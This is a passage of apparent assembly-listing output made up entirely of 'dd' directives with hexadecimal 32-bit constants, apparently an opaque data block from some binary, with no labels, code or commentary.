5DB7249Eh, 0B62B7ACDh, 9F1F8EDDh, 77863A5Eh, 7E562F63h dd 0DF9B1939h, 7BA0B401h, 0A3558A48h, 84F132BAh, 5B9AFE16h dd 0F90EB293h, 671B5E9h, 0FF2067h, 0D1E29943h, 6BD649EAh dd 867DE68Dh, 185DEE8Ah, 0E7A5EDB6h, 0BF1E3CD0h, 7A99C56Bh dd 0B25F332h, 553E295Eh, 9B740C11h, 4B54719Bh, 664BE642h dd 846AB04Eh, 287B35E7h, 0F15727EDh, 0B7CA0273h, 0B6E62288h dd 45C61F65h, 9EA6E91Fh, 28317C28h, 324EED7h, 256EB1D4h dd 0B29C31F3h, 0A0873328h, 0D9993CB8h, 0EF417B43h, 0F4BFCB5Eh dd 42EEF565h, 7069F8A7h, 92857E99h, 97F3FE2h, 3E9F8D64h dd 801F2A09h, 30A7EDC3h, 0E4BE50DAh, 8CB84BE9h, 0A2A6B65Eh dd 0ED91743Bh, 49A45D5Bh, 72EAD24Eh, 0E82D142Bh, 0E0C19A9Fh dd 1B755FB5h, 0ADD092CDh, 40B7782Bh, 2856D44Fh, 0DFD8CD27h dd 784F50C3h, 465DE8B7h, 0E15F1569h, 85CA1470h, 0AB42F60Dh dd 4E310DFDh, 37B1686Eh, 267FB42Ch, 0DD9C4E2Fh, 5FE43A63h dd 0FB34149Ch, 0EA624BEEh, 376544A6h, 6BA51C5Eh, 348371B8h dd 0DBC04F64h, 0B039493h, 4F7E5547h, 0ED416FCCh, 9E037B3Ah dd 13FDDA8Dh, 3B61BADDh, 0F27FB4CEh, 94D2CE3Ah, 0FA3C91B5h dd 43C11DFEh, 6FFBA85Ch, 0DB9CFF01h, 0DEE2547Ah, 0BA9E97F1h dd 7F8474B9h, 408E16C5h, 419AC580h, 0F17F2AECh, 9F717F61h dd 0E0D6993Ch, 86E4BB8Ah, 1286F6CDh, 0E982437Bh, 5C74BF53h dd 57DA295Eh, 2657DA16h, 99FCBFAh, 0CF29F714h, 6A92EB7Fh dd 0E7FCE77Fh, 0A5FCF7A6h, 0C069E4C7h, 4CCA0E95h, 328388Dh dd 9E9722E5h, 1D73EE22h, 549E6355h, 4A508544h, 0BE4D8A26h dd 291DE3A6h, 0FF04DD41h, 504DD4E3h, 0D6B42D86h, 1BF670B7h dd 1BC1DBEAh, 0A41A5F7Ch, 664DD5EBh, 86059375h, 31D64DFAh dd 3B433264h, 0AFB400DEh, 9062D925h, 2F07866h, 1DBE3522h dd 0B27E4B25h, 622E1779h, 9122A707h, 4A5F1349h, 13E66C98h dd 0E832483Fh, 0B7F92E3Ah, 0F30F125h, 0BAC6473Bh, 78C4C9F3h dd 0A8309DC6h, 1D06E9ACh, 0F0D82603h, 599E0A0Bh, 0AFCE3F8Dh dd 86933F6h, 683A82C5h, 0B1832B06h, 237BDBBDh, 0BC6A812Ah dd 0EA70FC07h, 5457847h, 72CCF4CCh, 10D9198Eh, 0F21ACFF2h dd 2D66D076h, 2FE0CC3Dh, 0D15B204h, 4808E2A5h, 0FA68335Fh dd 1497E161h, 5042A162h, 741C6AD2h, 592CBA65h, 99DD27EDh dd 4C522C6Bh, 0EE85816Fh, 0F0482BC0h, 0EAC99F97h, 0E22B97F6h dd 680081CDh, 6F72EA1Dh, 0C2AB3002h, 9B1D9B0Fh, 46782269h dd 978168EEh, 20B902E0h, 9C5BAB31h, 1E200817h, 0A449816Fh dd 81C9894Ch, 7638858Eh, 0A9541378h, 0A39B0F53h, 17A7CD87h dd 0A41ECE45h, 0E84B052Bh, 37A7655Ah, 77213D45h, 391B99E0h dd 5DC556B0h, 1D984847h, 0C7E48958h, 2FE6BF66h, 617E63Eh dd 1AF043E5h, 3903EC08h, 0E0EB76F9h, 0E17EC3DBh, 681281F0h dd 0DE1DCBDAh, 103BFBAFh, 1F35378Dh, 0DF175921h, 0FD3AF102h dd 0BF1A9742h, 4ADDBF19h, 0C279785Dh, 71EFBC11h, 0DC75AF10h dd 0AB30E813h, 7C5F9774h, 8030A61Dh, 72D0F92Eh, 17F41A55h dd 9C78869Fh, 0D0287FC8h, 54294551h, 7A518FE3h, 59B1E5D1h dd 8C36BA1h, 2B716CD1h, 0DB8F5EAFh, 0F0301AABh, 729489CBh dd 8CBEFE0Fh, 0D72F4D1Eh, 0F1FB6E51h, 53D6A51Eh, 92099935h dd 0CBFAAEC5h, 0B191C1FBh, 1F2FEAC6h, 3A550510h, 8502A01Dh dd 78E19D88h, 0E674685Ah, 25FA78F1h, 288FFA54h, 684B8C4Eh dd 53544D9Fh, 12674607h, 0C2FC86h, 1F1E1132h, 5C7841C3h dd 4BA7A64Fh, 0C1471E0Bh, 1E16CF77h, 17D0BF7h, 33461E1h dd 0D7335E06h, 0C7E5FCD8h, 97F2AEB7h, 23E72F5Bh, 55915B17h dd 2C1B5E12h, 0D579C417h, 0ECC5BE40h, 0D73D6E40h, 612CB711h dd 0E029D6E7h, 1E19C1C5h, 70AA3087h, 35609B7Ch, 0E15E27E3h dd 0AD815678h, 0B8B919E5h, 0E778AB2Fh, 78B92643h, 57C05E27h dd 0A599FDAh, 1E38F0A2h, 73580BC0h, 0E507C5FDh, 65E947E2h dd 5C9356DFh, 0F88E98AAh, 0DB83F78Bh, 529606F4h, 5138B0F1h dd 0EA6D3D2Eh, 0EF01BD33h, 46B71759h, 3031AC05h, 0DE8A3B1Bh dd 33E2E446h, 0A3147F59h, 0C20C874Ch, 8D513788h, 91CC7EFh dd 7493AD23h, 91185F87h, 99440185h, 1AE215E8h, 6615C40Ah dd 74A22296h, 3A502F04h, 1ED81720h, 1C7ADF3Bh, 0EB7B524Ah dd 0A9344778h, 0C40E12E0h, 4C0615EEh, 9184B287h, 0B0B24996h dd 1066B21Fh, 0C96F8386h, 0C4EF31C2h, 0D8F2CEB2h, 0B1EBB980h dd 53217F3h, 5B7D2B68h, 0BC46BC93h, 0BC793E2h, 0CB0D31E9h dd 353D6840h, 0BAFBE85Bh, 6175FFD0h, 0D16ADE58h, 980C976Eh dd 2DFAF03Bh, 80BC9287h, 56433FCCh, 98E46AFAh, 3751E81Ah dd 664F64D5h, 0F64D7C62h, 35311044h, 0CC986BDh, 35B9B908h dd 0EE6E437Eh, 0BFC1C5E2h, 55AFF8D4h, 0B7E2657Eh, 0A422E0F3h dd 79D18D9Ch, 0FA83D02Dh, 0A51066BCh, 441309EAh, 1BCC7C55h dd 0FA173013h, 775C6185h, 33A711Eh, 285CE6h, 243B16CDh dd 0C3CEA9CCh, 0EA687055h, 385911F2h, 0D985F6FCh, 0BBAD0087h dd 0BDBDC907h, 0B187B260h, 6CDAA32Eh, 73D5D546h, 0D3807504h dd 4E628716h, 813E8BC0h, 7EDF84B9h, 0D0AE71E3h, 9685E49Ch dd 0C2875F11h, 4CCE8606h, 5D0650F4h, 5EA9C54h, 9C595385h dd 30E1ED89h, 99853B6Eh, 1CA403B4h, 0DF40996Eh, 0E62049F8h dd 5871DE22h, 0F8B5E5DCh, 5E27210Bh, 250C4033h, 0D07DD5FCh dd 67F7CF7Ch, 19E19F96h, 339A16E0h, 0CE6D4441h, 0A620935Ch dd 965A9D3Bh, 4309B4BCh, 0CE95452h, 8690CAEEh, 8EE8533Ch dd 6E6C1066h, 9835ECE5h, 7A704C2h, 3306034Dh, 8A24D732h dd 0A421FF99h, 0EF721C29h, 0ABC9F835h, 80D3D139h, 4372A2BAh dd 64636602h, 3AB500B6h, 3385B34h, 30F6F5C5h, 709342F4h dd 2C016826h, 78209DB9h, 0DBE63506h, 156F5885h, 0AFD73FF0h dd 0AA84504Ah, 82540A74h, 6CD93624h, 44D7B461h, 9F47841Ah dd 52E43767h, 5F86BBC9h, 4DE5D9CEh, 5FCF2871h, 67F53183h dd 0A740A0Ah, 43C59890h, 46A81BD0h, 9E9162ADh, 0A5CAC076h dd 356F0E23h, 4F3010C4h, 5D07DD98h, 5ACC0578h, 38587B96h dd 2233030Bh, 0B626AED8h, 69F17243h, 195633ECh, 0A9F97D9Ah dd 0DFB18BACh, 7EAE88FBh, 451FB119h, 823E5B79h, 308BE17h dd 0AE9EB76Fh, 4CAEC2EDh, 5D30F812h, 9A4A7930h, 40C9BBC4h dd 0F412BBD6h, 22C081D7h, 0E96F7635h, 432AE841h, 60AA0826h dd 8593EA13h, 397F6FD3h, 0F2CCB5FBh, 0AD8B2801h, 5FD9C075h dd 5A87CFDCh, 0ABAD0990h, 4E71ADE4h, 5EBF6B53h, 5F7CEA07h dd 61AA99AFh, 0A41D2A9Fh, 0F418445h, 0DC38358Bh, 34589D9Eh dd 0F0F322B3h, 0EA4C0CE8h, 3F426D81h, 6500CD26h, 2823E50Dh dd 616B02Ah, 8E809E5Ah, 331FCD0Ah, 3851A207h, 0C3E2A65h dd 98FE84B9h, 0B20A7AD9h, 3CF0FB11h, 0CA7DB712h, 0EFA0F3E3h dd 101ED2A9h, 0A0587C67h, 0D62C3697h, 0BC43A856h, 19C51782h dd 2E83EDE8h, 568F7D0Fh, 0E7419C6Eh, 0BA77AFA8h, 78D3F8D4h dd 80C7AC61h, 0E8959A1Fh, 61377419h, 5FA17D2h, 0F76899E8h dd 0EDFC37BCh, 3F69C32Dh, 43799359h, 0CDB302E1h, 33ECC625h dd 6413A59Ch, 7C7E5402h, 2BFE5D06h, 0C55FB9E5h, 57EECEEh dd 45D3993Bh, 0B33CE2A6h, 73DAE99Ah, 0D2EBC9B4h, 984DA5EFh dd 0A02D550Dh, 7383B72Fh, 2A1C4858h, 576A7324h, 1677AD70h dd 0BDF9EABFh, 0EDE55A74h dd 0C5E08E15h, 31C2BD89h, 1B4633F3h, 18DBDD48h, 0A58C6EDDh dd 0D37861EEh, 6A500C31h, 0ECBA3EFCh, 586E34F8h, 86D52502h dd 1A42526h, 41D37BE5h, 520A3BDFh, 4391F629h, 0F130BB35h dd 59690FDBh, 0D06DC5A2h, 6B72DC21h, 40B46F9Ch, 965BE85Ah dd 61437060h, 0DBCA9CB9h, 0D47B03B8h, 374B0F28h, 78399538h dd 0CB063DAh, 5E1B22B4h, 30DF11BDh, 92001B88h, 61A6F1D2h dd 0D7F2A02Ch, 2AD9E06Ch, 4ECD7B75h, 6140F5AEh, 159308BCh dd 0F008EBCEh, 1953F60Ah, 0BFE539C6h, 0CB1C8CD0h, 957CCE81h dd 76A4C735h, 0B62DFD9Dh, 9738BCDCh, 0F2107E5Bh, 1D6FE430h dd 0C8326C08h, 1B26FE3Dh, 0E50EBB6Fh, 1E5A3495h, 0CE289687h dd 0A4420A59h, 4DCB5CE3h, 0F8697E05h, 0F0BB2415h, 0F288C1CBh dd 9063F00Bh, 0D4C8A046h, 1FE961E2h, 50510220h, 0BCFEA875h dd 0DB37ADB8h, 0D813E4BBh, 338C1ED7h, 2CD2070Dh, 28836D2Fh dd 0DDF030A3h, 0FD2D3F9Fh, 901D6E53h, 0E27BE57Bh, 0A9727478h dd 8FE95205h, 4D060033h, 95366956h, 0B72BB3A1h, 0C09D51A7h dd 0B3EF08ECh, 0DF4FF0B5h, 0DF0C9890h, 0EC8784E8h, 995A56A0h dd 17168738h, 0E9B8F223h, 0FA1CC43Ah, 3D6D84E7h, 0CD432B3Bh dd 0A025E681h, 6117EA51h, 0D4D57C36h, 22E22EA3h, 33B26F4Ch dd 943BB420h, 17F9DBDFh, 17EAC100h, 8E2165DAh, 0E6466CEEh dd 1653A17Eh, 5EE1F7E0h, 1EDD7761h, 0FCB3ADA3h, 63F2CE99h dd 3BC7E59Dh, 96754FCBh, 9F97F11Fh, 0E4135B96h, 962C99DEh dd 0A0DA6CB1h, 0D38D9498h, 8D96D14Dh, 6BA49EE7h, 78D3857Bh dd 2D0829FEh, 0B24F370Dh, 0E0BC0C60h, 0EF2FEF40h, 0FB6FCF93h dd 0F1E86E27h, 0DBC4DA8Dh, 6249A37Dh, 45346FA2h, 0CD1BE29Ch dd 15E96E91h, 18D0CCFAh, 0FA0C083h, 646DFEFh, 3887C67Dh dd 43C33E83h, 44FBF228h, 85F72C98h, 527EE66Eh, 8E9DF5EEh dd 2B6F142Dh, 14286F14h, 0D4E2856Dh, 1EC6E942h, 8C8188E1h dd 0B7F0273Dh, 94E08653h, 2198E11Eh, 67EEE168h, 0CFE5190Ch dd 9D9EB188h, 173671EBh, 9E576E28h, 0A9D784BAh, 0F46F129Eh dd 0B800DCECh, 7005C468h, 3D676981h, 0B9D06338h, 131CBC95h dd 79D9E1BFh, 884CE01Fh, 5A9792F3h, 0B9D19A70h, 83F79C8Ah dd 4B9D0A33h, 8C71C428h, 8325E428h, 57104770h, 0E223380Dh dd 3782F192h, 516834E1h, 0DC28262Dh, 66CCBDF3h, 0EF09B866h dd 27140607h, 1B197843h, 0A8AE1854h, 0FCA90EE6h, 0EB7F2DB2h dd 5D3A5919h, 9F4CCE7Bh, 0D5478498h, 0A4D68B4h, 0B9454DB5h dd 68770888h, 248A0BDFh, 5F9C1CBCh, 0B3592E55h, 0A1A7173Eh dd 8517E2F4h, 3473FF7Fh, 3D60DC7Dh, 10675C27h, 0A0F6F063h dd 10BB4421h, 0BA5CB30Dh, 0AFC9DCA3h, 0BABFFF1Dh, 0A4ADDCA3h dd 0BF424C52h, 0CE39277Eh, 0E0FE84EEh, 9ED98894h, 137E38D7h dd 0A3366D2Eh, 1BCF40ADh, 0A50A5BC4h, 0D361009Bh, 1E9EC0EEh dd 38703BFBh, 0A3FE1968h, 7A1B70CFh, 327A98D0h, 55EEC5F6h dd 0E5E8A2FCh, 0E2815DCBh, 30F70561h, 94478A05h, 8EB89513h dd 234B2098h, 6557461Eh, 0C87AE30Fh, 0AEF99317h, 1A7D0F4Fh dd 0FCA38903h, 0FBEB27Dh, 0FFB1D694h, 49DB4F0Bh, 0B2A0F223h dd 29428531h, 21E82935h, 0BBCC9711h, 83BCFF5h, 8DB726DAh dd 714D5823h, 85D3D5F4h, 11E1AF11h, 9146C43h, 688078EEh dd 9346C65Ah, 86268A11h, 0FB1027D8h, 3C7A8F10h, 68252852h dd 94C11F29h, 0E8188567h, 1743EE4Bh, 0DFDD1E75h, 0C783C31Ch dd 0B48F61Eh, 0CAE3875Bh, 7BDB44AFh, 0DCB9A351h, 18B432AFh dd 2B3429F0h, 32F6E760h, 0D95A3F87h, 726D9C46h, 6E9AC54Fh dd 6F32D118h, 0CD01C3A8h, 7BF1DB1Dh, 0B89E8C68h, 44E4B82Dh dd 5141801Bh, 0BDF26717h, 59259EBDh, 0BDF70BB8h, 0E85DEEACh dd 3A778A5Bh, 0F19B233Dh, 0B2FA5DA6h, 21FC020Ch, 0F2139C0Ch dd 26BE80D5h, 0E033AF80h, 39EFD82Bh, 88A759BEh, 5200E53Ah dd 0BECF15Eh, 94EBF651h, 0DBB291C7h, 794433B3h, 21B4A746h dd 7367BB65h, 2907B288h, 154A056h, 9C06ECEAh, 110EAD72h dd 42C4E9F7h, 98903A24h, 0D01E2211h, 0B4488989h, 221AD123h dd 8389D41Eh, 338809Bh, 9D26CA89h, 1E275BB8h, 5C05E247h dd 22123BAEh, 0FB89D4EEh, 890A7890h, 8F8884CFh, 489DC4EAh dd 0F89157Ch, 0EB8F8887h, 0FC48CDC4h, 421B1239h, 0E27527C4h dd 2076246Ah, 6C4424B1h, 483989D1h, 2D3120F4h, 0CA1CDC44h dd 41EF1227h, 0D8885C62h, 121913A6h, 0ACCDA0EFh, 5DB13ACDh dd 0D4029E27h, 3C48A9D9h, 0EA76221Eh, 0E242EC4h, 887E6AD1h dd 0DC4EB0F8h, 4813C48Dh, 0DC44347Ch, 90DB13A1h, 8A247BF8h dd 28576221h, 4FC4489Fh, 10929EC9h, 9F2870F1h, 6DCBC448h dd 0FA058E3Dh, 0C80D0EDAh, 1929ADDh, 0DEA7C47Ah, 433A09Bh dd 9D1CA2B6h, 5B6D8305h, 9F264CCDh, 0EF66EE80h, 7ED13EDAh dd 4C28FDB2h, 40994115h, 7EA70365h, 51912930h, 681D6B9Dh dd 72D290BBh, 0CC85DB6Dh, 98E4E287h, 1CAFB145h, 72D25BA5h dd 3031FCFBh, 0E1020AE1h, 77CA290Eh, 0B132D4D1h, 0C902C2EDh dd 94D26F06h, 177BD03Ch, 7ED89F6Dh, 4A46EA54h, 0E6384BC1h dd 6C0F1667h, 3C59985Ah, 667E69B8h, 0D4A6D0F1h, 0EE9B43ACh dd 823AD6D8h, 0CD374ADFh, 32DA743Ch, 0C3798049h, 0D20CBD08h dd 5A3F80EFh, 5CE6C78Dh, 0EF302FE3h, 0A4208033h, 0EDB5BCEBh dd 0F4174E12h, 371B3962h, 81D1CA2Ch, 0DB30D135h, 9D0E4614h dd 3F6E584Dh, 1478BDBAh, 29D18F7Fh, 4F0EE59Bh, 97EC16F2h dd 66E46A27h, 1A900833h, 866EDA50h, 42FB02B1h, 1CBAEFECh dd 0F82DA49Eh, 0DBA9D5C5h, 58A87119h, 77721526h, 485DCD48h dd 7EDBA16Ah, 0DB1ED32Eh, 0ADB46BFEh, 5C59E723h, 80C2BD35h dd 85F8D591h, 5EEC604Fh, 2CCDB40h, 0D7940582h, 2D365001h dd 4DAA6CA8h, 0EC78D473h, 4FB0F21Bh, 94FBC555h, 70DFE2FFh dd 678BB7D1h, 0EF32140Dh, 0D4839842h, 0C027C2C8h, 0F67288EAh dd 0F6629876h, 0BBD78994h, 0DF61D203h, 91982CC0h, 0C35E23CBh dd 47CB4FE7h, 32345C94h, 38150E70h, 72E686DCh, 2E294DA8h dd 94F9E3E0h, 1E3C44C6h, 45B71671h, 0C1A5E4F5h, 0C5528510h dd 0B151979Fh, 97A5DEC6h, 2781B6D9h, 0D7AF7C0Dh, 241C4AA7h dd 0C9D27EC5h, 284E313h, 45B5150Eh, 0C712FE19h, 0CB138B6Fh dd 0F8A8C91Fh, 755E1EE9h, 9DDCBE68h, 6BFCD26Bh, 0E635F832h dd 0B0783799h, 3A062625h, 0BA7D2D6h, 0E61288BCh, 0EAE80BC1h dd 829EE8C0h, 5BF04334h, 9C97A14Fh, 0E6EBF85Dh, 0D1CB9E17h dd 5645635Eh, 0C4EE94AFh, 43B0FE2Bh, 7F5586FBh, 0AB311CC1h dd 0F16A5E46h, 9FC53442h, 0FECD4BC9h, 0F140A1E2h, 8D4772E0h dd 9FE615BFh, 305BDC2Dh, 906C37DEh, 3B46F66Eh, 0E10A0B4h dd 1835D2D0h, 82FB9699h, 0B7C5A08Ch, 14454334h, 4ED2770Ah dd 60761CA9h, 717FC839h, 9A0F03B9h, 0F25F0995h, 559801CDh dd 0E8C7F32Fh, 0ACD8B125h, 4A81727Ch, 6DB13BC2h, 0ADF31A7Dh dd 16560CFh, 0D3F9FAC9h, 0A6BB987Eh, 12A0E2BDh, 0E4DDA39Eh dd 9CC6CBEEh, 40A6E931h, 32B8C347h, 0AC4BF5C0h, 0E08EA814h dd 0D06288B4h, 4DE77DEEh, 0E614B5EDh, 946264CBh, 0DEBB8992h dd 0CE58F989h, 42D0795Bh, 6C7AA0Ah, 0E610D435h, 3A1BA6B4h dd 834EEF85h, 14B39774h, 207E06FAh, 8AC84F50h, 0EBF6627Ah dd 930387Fh, 6E9A2ED7h, 66D51AF1h, 3CED9668h, 5179D35Dh dd 8D7DA765h, 18F03321h dd 0F9456BFCh, 8F1A392Ah, 22804CD7h, 8DA8CD16h, 9B941053h dd 0BE98DBBEh, 1015C9FBh, 766BC46h, 0DA249588h, 9F19A0F0h dd 793BAF22h, 0C7534925h, 0E44C06D4h, 0DF5A108Ch, 4A3D0897h dd 0C9AD3F95h, 0AA2B56Ch, 0C0370D6Ch, 179A191Ah, 0EA41AF74h dd 0DDE99F5Eh, 85E6086Bh, 18E9685Eh, 440AD681h, 0EE46D79Bh dd 422ABF47h, 0DFD3B6BCh, 537ED0Ah, 5DBA17B7h, 40E7849Eh dd 0E98F7417h, 0B5282835h, 0AAC901A6h, 18DA9DC1h, 48A4862Fh dd 7368B21h, 0D6450F4Fh, 0C59155F6h, 313BDBAh, 48D0CD5Bh dd 0CBA0FB2Ch, 3459D722h, 4A4D0313h, 2A7494FEh, 45238F0Ch dd 55B27E56h, 0FCF162BCh, 71788487h, 9230216Bh, 48D4B4D2h dd 0F1F0C429h, 0D0DC58FFh, 1DADF4B2h, 0FCA65E08h, 0DF49EA06h dd 0CD3B80C6h, 2FF96E9Dh, 3ADFD576h, 2DC59992h, 5AB66693h dd 0E72EBF5Ah, 3BFB71CDh, 55237106h, 0F68063A0h, 0E97BB953h dd 0FE39EA85h, 48CAD530h, 3B8F14B0h, 3B8FC67Dh, 0CDEFAB0Dh dd 4B38616h, 109DD34Bh, 0F39BEC3Ch, 987D89C1h, 7F677417h dd 83E710EBh, 0A4469967h, 0FADD2189h, 0CCAD8800h, 558A91D6h dd 69748FB1h, 9037CBD2h, 6C38B303h, 0F2BD5934h, 91CE12A7h dd 3239C43Fh, 0F0C3659Dh, 7F26ADC3h, 7E53B0EBh, 24C93513h dd 0C4BD7F95h, 68E53F6Bh, 0CF6849FBh, 4A1C42BDh, 80BAE965h dd 5A620710h, 5F49B871h, 0E21152B6h, 0CA65CC18h, 8E34488Ch dd 0D67F72DBh, 0DF74D207h, 16F1469Dh, 0A7E54DF9h, 661F25F8h dd 75C11993h, 14AA8BBEh, 0BCDE563Bh, 0BE1FCAFh, 0B26F1CC8h dd 0B1A4DE6Eh, 277AC643h, 61A07AFAh, 0FE7D76B4h, 9ECF1DB4h dd 5DB50E2h, 5411FC35h, 6E2861F0h, 0ADC9271h, 0E9A0672h dd 78FE00F8h, 0B09FC962h, 0FDB5505Dh, 7006DBE4h, 20696833h dd 76ECD93Fh, 0D9E342F4h, 0C7407549h, 13925B24h, 871DB18Ch dd 0E7BB648h, 0ABA9082Fh, 0FDCAA8A4h, 7107BE9Eh, 0FE4F7BFCh dd 58A66A06h, 0A08EBB7Ch, 76E89EB4h, 883FF67Bh, 3D9FC4AAh dd 2017B9BBh, 4EA4E88Dh, 4886248Dh, 95234B2Ch, 7C2A468h dd 7BF57143h, 0FAFE4232h, 9A891674h, 74886B3Fh, 3E0D275Ch dd 1E6749C0h, 74C749D0h, 0D48D31D2h, 0EBF52215h, 0D23467A4h dd 29D221A3h, 91A2D49Dh, 0D3A4421Ah, 46A5693Ah, 0CE910C2Ah dd 1A39A4E8h, 52443129h, 48D31274h, 0D2745B03h, 5B852840h dd 8860E938h, 9E93A834h, 423B48D4h, 249D21A4h, 9C95A46Ah dd 0C36806B4h, 0C4455B40h, 0D8AC4E14h, 76DF2867h, 5696EB18h dd 8DB40C40h, 683F0961h, 0A0720519h, 0E5DEDBBCh, 0B847A6D0h dd 47016BC2h, 0A58E217Ch, 0FA9B5582h, 0E6CC28D8h, 0FE1130C8h dd 0BC5F5B69h, 2F842223h, 89978B1Bh, 0B5B85337h, 5C577BFCh dd 8D49FCE4h, 69C11F47h, 0E0C97163h, 4ACF9CB3h, 0FEA7D97Dh dd 0AEA71657h, 0CC3F22C0h, 0DC2CC0E2h, 0B7519D4h, 0F1F54F63h dd 0BD0629A1h, 0BA3705F4h, 0D302C964h, 0E2659836h, 0B82B80B0h dd 725C5605h, 0A104482Dh, 40F75F88h, 0F1C41740h, 11F81CCFh dd 17ECC0AEh, 0FA3A054Eh, 16BC51D5h, 4FD95937h, 208F82D7h dd 5BEE12E6h, 9E524E6Ah, 8C30D422h, 78218772h, 87E8407Fh dd 89025C52h, 0C246BEC1h, 31ED00E6h, 9219BE6Dh, 67279C73h dd 945D4816h, 551CD2B7h, 5564F782h, 0C4A5524Ah, 484D3371h dd 0AF5D3AFh, 0F1A7119Fh, 155F7EADh, 0D8E1F706h, 0BF686B94h dd 5B695A5h, 39BDF28Eh, 51C3498Ah, 54842D11h, 0BAA70891h dd 7A25FFDh, 5B439ED1h, 0D0B0E6D4h, 92E7C59Eh, 0D4FD9668h dd 0F706CA31h, 250C4E2Dh, 0CB6D66F7h, 0C5C0D922h, 452E3BD8h dd 2FB6EC4h, 0F1C59877h, 3A9EE3C8h, 0A2D0F1A3h, 0C0CD13h dd 70C19034h, 0E52FA235h, 44E6BECAh, 2CA53654h, 6508CF01h dd 0B9CB520Fh, 4CE5B23Eh, 0D207DBD1h, 0DFE14F2Eh, 88522247h dd 0B1B4D067h, 1C39731Bh, 0D1B1CB91h, 71F45277h, 0BB1FE8E1h dd 84772A09h, 3CB86E57h, 144ED296h, 0F06D57D7h, 0BFDF567Ch dd 0C6EF7189h, 0D308345Eh, 579C7889h, 756DB569h, 204F1228h dd 0B5219CAAh, 4A14FAC2h, 0C6B8D24Fh, 74B397B4h, 7ACF11C8h dd 0AA365D9Ch, 87CEDAE2h, 0FE511CF4h, 0B457CF02h, 5C219C15h dd 0ECD208C5h, 0E526C681h, 48D15A03h, 842EEBE0h, 44B48183h dd 0DA74CF4Fh, 8D114403h, 0AF22FF28h, 0BB6D7C56h, 6CF6AF91h dd 0D290E7A6h, 315F2370h, 621A1EDh, 7883ABBFh, 429E92B0h dd 4AAFCA95h, 85E059E2h, 0C3214556h, 2F9D7555h, 0E0550CFBh dd 18301454h, 26FA1218h, 0CCE0A134h, 8736D5F1h, 0F9A1C3A7h dd 68E18C8Ah, 71861464h, 47A0DC51h, 78514711h, 166B28DAh dd 0CCB183C5h, 0CF4B1F1Ah, 0BA2C7A97h, 46111E47h, 1869D4F1h dd 8C6B5087h, 0A83F95C5h, 0C464DF0Eh, 24FA65A8h, 2FA4F539h dd 16780CDBh, 2C2781DBh, 2D3D9EDCh, 0E9FB5E1h, 0ED06C55h dd 6D1E7B76h, 0A7B819A1h, 30BB9F1Dh, 0C8EA3808h, 70EE161h dd 91DCAC39h, 771B0E46h, 8E239224h, 48E4CC3Bh, 1C418EE0h dd 9225772Eh, 3C125763h, 0A9C968D6h, 65F5EF10h, 65A55253h dd 9BC67A1Eh, 499535A9h, 0E385A0B9h, 98662332h, 11EDA21Dh dd 0C607DCE9h, 0D71C3BEDh, 0E1C525D1h, 1F8D549Ch, 79F78D01h dd 30DE743h, 504E0E40h, 4345193Eh, 0B61BCF69h, 0A4F8777h dd 0F142D609h, 50A942E6h, 2EF8B62Eh, 0A64D3524h, 0FBE7C4BDh dd 64A8E6Eh, 0B3513D66h, 0BC10D7E0h, 93FD539Dh, 0A6A300CFh dd 267E449h, 4EFD00F9h, 7745A4F3h, 3D32D754h, 0A2D449B4h dd 83995EBAh, 0A7E4C44Ah, 7E155E14h, 7A622C1h, 1897703Ah dd 2E5853EFh, 96B19065h, 7D2C749Bh, 2E687034h, 7E30E898h dd 1D69144h, 87C8C9E5h, 0BBEB12Bh, 0ED1713AAh, 168B8DFEh dd 0CA9520A0h, 1D2118DFh, 0D96DCFFFh, 0AE266598h, 0B951D395h dd 1B306504h, 8ABEAE93h, 19A4BDA7h, 365E7772h, 0B56D7E7Eh dd 246A9542h, 0AD00A3F1h, 0FED9FEC3h, 0E9C20C31h, 51B78B84h dd 0D13EC799h, 0B27ED65Dh, 0BE009A4Ch, 89A5DF05h, 0CDB7EF2Dh dd 0F8C1FE24h, 1B315EB1h, 251819E0h, 0E1D064D1h, 0EFA2D839h dd 2AE8EB5Eh, 0CFDB766Fh, 28249EE1h, 3D2A0EBDh, 0F29736F1h dd 31D8DE16h, 5CE656ECh, 96F7374Fh, 7820D389h, 0C971CE22h dd 2C621DD8h, 0A4D1BE05h, 983D796h, 0FCCC74FEh, 6E5A06F3h dd 3EC499D6h, 527EDDD2h, 82A3E09Ah, 0BE898351h, 0A6917A6Ch dd 9786753Fh, 3D4E64B8h, 85DA8C19h, 0AD252C58h, 4F702AA2h dd 58C3B6F9h, 0AA1DD8Eh, 61FE9173h, 4ECE173Fh, 0EB15EE4Bh dd 0BA98F66Ah, 6BD6CC02h, 655EAABDh, 462ADFCAh, 0DDBDDA55h dd 14324E71h, 0ECB9BD50h, 11CE94E7h, 8D76DFDAh, 5E947F32h dd 1F94A8A6h, 773715A5h, 336D83CAh, 0F03121B1h, 0BE24FDDEh dd 335E63F1h, 5F4E5319h, 5696334Bh, 0D4D67E90h, 0A78C7293h dd 8FF69933h, 7D0485FBh, 6B85E787h, 43820371h, 0BFCF6A09h dd 0E8333C3h, 8995947Dh, 5B57DC71h, 0D4C96AC6h, 0DA722AC3h dd 99F49832h, 7955A27Eh, 0C8E6BC0Eh, 5DB867E9h, 37C7620Ch dd 3F59D2CEh, 0A443F29Bh, 0C172DB6Bh, 0E1DF580Dh, 170FE524h dd 626B0F31h, 4F71DBDBh, 0CA25F55Fh, 135E83D1h, 0B853CFh dd 0E420FBA5h, 0CA68ED49h, 9ADE08A5h, 72FCEC3Fh, 0F3DB743Fh dd 393BAF27h, 0C8662DDAh, 0F1536D77h, 0D74DA916h, 6C26B565h dd 0E343D78Ah, 240E714h, 7157837h, 5A187F5Dh, 85AFA796h dd 2D30B8Ch, 8AEEF6F4h dd 28825D90h, 159E2F28h, 0BCBD312Ah, 93BCA1Ch, 6B0E78BCh dd 110983CFh, 5C7D34C5h, 48246531h, 0E94A879Fh, 5CFF84E1h dd 5709754Ah, 0BE47A52Ah, 0B1252A4h, 0F95E3C95h, 84A15D77h dd 0AE38C366h, 5F1B8C07h, 0CB63093Eh, 205D9747h, 0D781BEB8h dd 61528A51h, 0A7DAB8A1h, 7C8B88C4h, 0EBF144CAh, 60398AE0h dd 0C16D61C8h, 890B2ADh, 6A664B72h, 486D4583h, 0A9661B50h dd 436A190Dh, 6887F2A1h, 396B82C6h, 48D72615h, 0B3684C57h dd 10D8C961h, 0F29E0D4Ah, 890E3F99h, 0B782BF67h, 0B56F057Ch dd 0E0DAA561h, 5D8AD051h, 5CC96BF9h, 0D0C62610h, 0BDB47051h dd 2BE160D2h, 388ACA5Bh, 4FDA0DC4h, 668B7566h, 0B4682539h dd 0E005439Fh, 9BF3405Ah, 9711A4C1h, 34E7F1F2h, 60DE65B0h dd 